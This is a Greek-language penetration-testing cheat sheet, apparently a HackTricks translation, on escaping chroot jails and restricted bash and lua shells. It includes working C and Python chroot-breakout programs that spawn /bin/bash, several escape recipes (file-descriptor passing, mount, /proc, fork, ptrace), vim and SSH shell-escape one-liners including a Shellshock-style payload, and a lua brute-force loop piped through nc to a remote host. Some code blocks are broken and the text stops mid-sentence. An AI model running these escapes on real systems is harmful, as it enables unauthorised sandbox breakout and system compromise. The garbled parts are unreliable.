Από wikipedia: Ο μηχανισμός chroot δεν προορίζεται να προστατεύσει από εσκεμμένη παρεμβολή από προνομιούχους (root) χρήστες. Σε περισσότερα συστήματα, τα περιβάλλοντα chroot δεν στοιβάζονται σωστά και τα προγράμματα που έχουν τεθεί σε chroot με επαρκή δικαιώματα μπορεί να εκτελέσουν ένα δεύτερο chroot για να ξεφύγουν.
Συνήθως αυτό σημαίνει ότι για να αποδράσετε πρέπει να είστε root μέσα στο chroot.
Το εργαλείοchw00t δημιουργήθηκε για να καταχραστεί τα παρακάτω σενάρια και να ξεφύγει από το chroot.
Root + CWD
Αν είστε root μέσα σε ένα chroot μπορείτε να ξεφύγετε δημιουργώντας ένα άλλο chroot. Αυτό συμβαίνει επειδή δύο chroots δεν μπορούν να υπάρχουν ταυτόχρονα (στο Linux), οπότε αν δημιουργήσετε ένα φάκελο και στη συνέχεια δημιουργήσετε ένα νέο chroot σε αυτόν τον νέο φάκελο ενώ είστε έξω από αυτόν, τώρα θα βρίσκεστε έξω από το νέο chroot και συνεπώς θα βρίσκεστε στο FS.
Αυτό συμβαίνει επειδή συνήθως το chroot ΔΕΝ μετακινεί τον τρέχοντα κατάλογο εργασίας στον καθορισμένο, οπότε μπορείτε να δημιουργήσετε ένα chroot αλλά να είστε έξω από αυτόν.
Συνήθως δεν θα βρείτε το δυαδικό chroot μέσα σε μια φυλακή chroot, αλλά μπορείτε να το μεταγλωττίσετε, να το ανεβάσετε και να το εκτελέσετε:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Πυθον</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Αυτό είναι παρόμοιο με την προηγούμενη περίπτωση, αλλά σε αυτή την περίπτωση ο εισβολέας αποθηκεύει έναν αριθμό αρχείου στον τρέχοντα κατάλογο και στη συνέχεια δημιουργεί το chroot σε έναν νέο φάκελο. Τελικά, καθώς έχει πρόσβαση σε αυτόν τον FDέξω από το chroot, μπορεί να τον χρησιμοποιήσει και να δραπετεύσει.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
Το FD μπορεί να περάσει μέσω Unix Domain Sockets, οπότε:
* Δημιούργησε ένα παιδί διεργασία (fork)
* Δημιούργησε UDS ώστε ο γονέας και το παιδί να μπορούν να επικοινωνούν
* Εκτέλεσε chroot στη διεργασία παιδιού σε διαφορετικό φάκελο
* Στη διεργασία γονέα, δημιούργησε ένα FD ενός φακέλου που βρίσκεται έξω από το chroot της νέας διεργασίας παιδιού
* Πέρασε στη διεργασία παιδί αυτό το FD χρησιμοποιώντας το UDS
* Η διεργασία παιδί αλλάζει τον τρέχοντα κατάλογο σε αυτό το FD και επειδή βρίσκεται έξω από το chroot της, θα δραπετεύσει από τη φυλακή
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Τοποθέτηση της ρίζας της συσκευής (/) σε έναν κατάλογο μέσα στο chroot
* Εκτέλεση chroot σε αυτόν τον κατάλογο
Αυτό είναι δυνατό στο Linux
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Τοποθέτηση του procfs σε έναν κατάλογο μέσα στο chroot (αν δεν υπάρχει ακόμα)
* Αναζήτηση ενός pid που έχει διαφορετική καταχώριση ρίζας/cwd, όπως: /proc/1/root
* Εκτέλεση chroot σε αυτήν την καταχώριση
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Δημιουργία ενός Fork (διεργασία παιδί) και chroot σε έναν διαφορετικό φάκελο βαθύτερα στο FS και CD σε αυτόν
* Από τη διεργασία γονέα, μετακίνησε τον φάκελο όπου βρίσκεται η διεργασία παιδί σε έναν φάκελο πριν το chroot των παιδιών
* Αυτή η διεργασία παιδί θα βρει τον εαυτό της έξω από το chroot
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Παλιότερα, οι χρήστες μπορούσαν να εντοπίζουν σφάλματα στις δικές τους διεργασίες από μια διεργασία του ίδιου... αλλά αυτό δεν είναι πλέον δυνατό από προεπιλογή
* Παρόλα αυτά, αν είναι δυνατό, μπορείτε να χρησιμοποιήσετε το ptrace σε μια διεργασία και να εκτελέσετε ένα shellcode μέσα σε αυτήν ([δείτε αυτό το παράδειγμα](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumeration
Λήψη πληροφοριών σχετικά με τη φυλακή:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Τροποποίηση του PATH
Ελέγξτε εάν μπορείτε να τροποποιήσετε τη μεταβλητή περιβάλλοντος PATH
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Χρησιμοποιώντας το vim
:setshell=/bin/sh:shell
Δημιουργία σεναρίου
Ελέγξτε αν μπορείτε να δημιουργήσετε ένα εκτελέσιμο αρχείο με περιεχόμενο /bin/bash
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Αποκτήστε το bash από το SSH
Εάν έχετε πρόσβαση μέσω ssh, μπορείτε να χρησιμοποιήσετε αυτό το κόλπο για να εκτελέσετε ένα κέλυφος bash:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Σημειώστε ότι κάθε φορά που εκτελείτε την προηγούμενη μιας γραμμής εντολή σε ένα διαφορετικό περιβάλλον lua η σειρά των λειτουργιών αλλάζει. Επομένως, αν χρειάζεστε να εκτελέσετε μια συγκεκριμένη λειτουργία, μπορείτε να πραγματοποιήσετε μια επίθεση βίας φορτώνοντας διαφορετικά περιβάλλοντα lua και καλώντας την πρώτη λειτουργία της βιβλιοθήκης:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Λάβετε διαδραστικό κέλυφος lua: Εάν βρίσκεστε μέσα σε ένα περιορισμένο κέλυφος lua, μπορείτε να λάβετε ένα νέο κέλυφος lua (και ελπίζουμε απεριόριστο) καλώντας: